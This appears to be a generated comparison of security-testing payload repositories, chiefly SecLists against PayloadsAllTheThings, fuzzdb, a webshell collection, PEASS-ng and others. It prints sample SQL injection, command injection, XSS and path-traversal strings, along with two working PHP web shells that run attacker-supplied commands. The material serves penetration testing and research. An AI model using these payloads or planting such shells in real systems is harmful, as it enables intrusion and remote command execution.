SecLists

Pros of PayloadsAllTheThings

• More comprehensive coverage of modern web application security topics
• Better organized with clear categories and subcategories
• Includes practical examples and techniques for each vulnerability type

Cons of PayloadsAllTheThings

• Less focused on wordlists and dictionaries
• May not be as suitable for automated scanning tools
• Updates might be less frequent compared to SecLists

Code Comparison

PayloadsAllTheThings (SQL Injection example):

' OR '1'='1
' OR 1 -- -
' OR '1'='1' #

SecLists (SQL Injection example):

'
"
1'1
1 exec sp_ (or exec xp_)
1 and 1=1
1' and 1=(select count(*) from tablenames); --

PayloadsAllTheThings focuses on providing concise, commonly used payloads, while SecLists offers a broader range of potential injection strings, including more complex examples.

Both repositories are valuable resources for security professionals, with PayloadsAllTheThings excelling in providing context and explanations, and SecLists offering a more extensive collection of wordlists and payloads for various testing scenarios.

Pros of command-injection-payload-list

• Focused specifically on command injection payloads, making it easier to find relevant content
• Regularly updated with new payloads and techniques
• Well-organized structure with clear categories for different types of command injection attacks

Cons of command-injection-payload-list

• Limited scope compared to SecLists, which covers a broader range of security testing scenarios
• Fewer contributors and less community involvement
• Smaller overall collection of payloads and resources

Code Comparison

SecLists example (Directory structure):

├── Discovery
│   ├── DNS
│   ├── Web-Content
│   └── ...
├── Fuzzing
│   ├── Databases
│   ├── User-Agents
│   └── ...
└── Passwords
    ├── Common-Credentials
    ├── Default-Credentials
    └── ...

command-injection-payload-list example (Content structure):

# Linux
;ls -la
`id`
$(touch /tmp/foo)

# Windows
& ipconfig
| dir
%0Atype%20C:\Windows\win.ini

The SecLists repository provides a comprehensive collection of lists for various security testing purposes, while command-injection-payload-list focuses specifically on command injection payloads. SecLists offers a broader range of resources but may require more navigation to find specific payloads. command-injection-payload-list provides a more targeted approach for command injection testing but lacks the extensive coverage of other security testing scenarios.

Pros of fuzzdb

• More focused on web application security testing
• Includes specific attack payloads for various web technologies
• Regularly updated with new fuzzing patterns and attack vectors

Cons of fuzzdb

• Smaller overall collection compared to SecLists
• Less comprehensive coverage of non-web security testing scenarios
• May require more manual curation for specific use cases

Code Comparison

fuzzdb example (SQL injection):

' OR '1'='1
' OR 1=1--
' UNION SELECT NULL,NULL,NULL--

SecLists example (SQL injection):

' OR '1'='1
' OR 1=1--
' UNION SELECT NULL,NULL,NULL--
' UNION ALL SELECT NULL,NULL,NULL--
1' ORDER BY 1--+

Both repositories provide similar SQL injection payloads, but SecLists often includes a wider variety of variations for each attack type.

fuzzdb is more tailored for web application security testing, offering specific payloads for different web technologies and frameworks. It's regularly updated with new fuzzing patterns and attack vectors, making it valuable for staying current with web-based threats.

SecLists, on the other hand, offers a more comprehensive collection covering various security testing scenarios beyond web applications. It includes wordlists for password cracking, DNS subdomain enumeration, and other non-web-specific tasks, making it a more versatile resource for general security testing.

Pros of webshell

• Focused specifically on webshells, providing a comprehensive collection for testing and analysis
• Includes webshells in various programming languages, offering broader coverage
• Regularly updated with new webshell samples and variants

Cons of webshell

• Narrower scope, limited to webshells only
• Potentially higher risk of false positives in antivirus scans due to malicious content
• Less structured organization compared to SecLists

Code Comparison

webshell (PHP example):

<?php @eval($_POST['cmd']);?>

SecLists (Password list example):

123456
password
12345678
qwerty
123456789

The webshell repository contains actual webshell code, while SecLists focuses on wordlists and patterns for security testing. The code snippets demonstrate the different nature of these repositories, with webshell providing functional malicious code and SecLists offering data for testing purposes.

SecLists is a more comprehensive security testing resource, covering various aspects of penetration testing and vulnerability assessment. It includes wordlists, payloads, and patterns for multiple security testing scenarios. On the other hand, webshell is a specialized collection of webshells, which can be valuable for specific security research and analysis related to web application compromises.

Pros of PEASS-ng

• Focused on privilege escalation and system enumeration
• Actively maintained with frequent updates
• Includes both Windows and Linux tools in a single repository

Cons of PEASS-ng

• More specialized, not as comprehensive for general security testing
• Requires more technical knowledge to use effectively
• Smaller community and fewer contributors compared to SecLists

Code Comparison

PEASS-ng (linPEAS):

if [ "$MACPEAS" ]; then
    print_2title "System Info"
    print_2title "Analyze MacOS"
    system_info
    check_macos_sd
else
    print_2title "Processes, Crons, Timers, Services and Sockets"

SecLists (Web-Shells):

<?php
if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}
?>

The code snippets demonstrate the different focus areas of each project. PEASS-ng's linPEAS script is tailored for system enumeration, while SecLists includes various security-related resources like web shells.

Pros of IntruderPayloads

• More focused on specific attack payloads for web application testing
• Includes specialized payloads for specific vulnerabilities (e.g., SQLi, XSS)
• Regularly updated with new and emerging attack vectors

Cons of IntruderPayloads

• Smaller overall collection compared to SecLists
• Less comprehensive in terms of general security testing resources
• May require more manual filtering for specific use cases

Code Comparison

IntruderPayloads:

' OR '1'='1
' UNION SELECT null, username, password FROM users--
<script>alert('XSS')</script>

SecLists:

admin' --
' OR 1=1--
<img src=x onerror=alert(1)>
../../../../etc/passwd

IntruderPayloads focuses on specific attack payloads, while SecLists provides a broader range of security testing resources. IntruderPayloads is more suitable for targeted web application testing, whereas SecLists offers a comprehensive collection for various security testing scenarios. Both repositories are valuable tools for security professionals, with the choice depending on the specific testing requirements and scope of the project.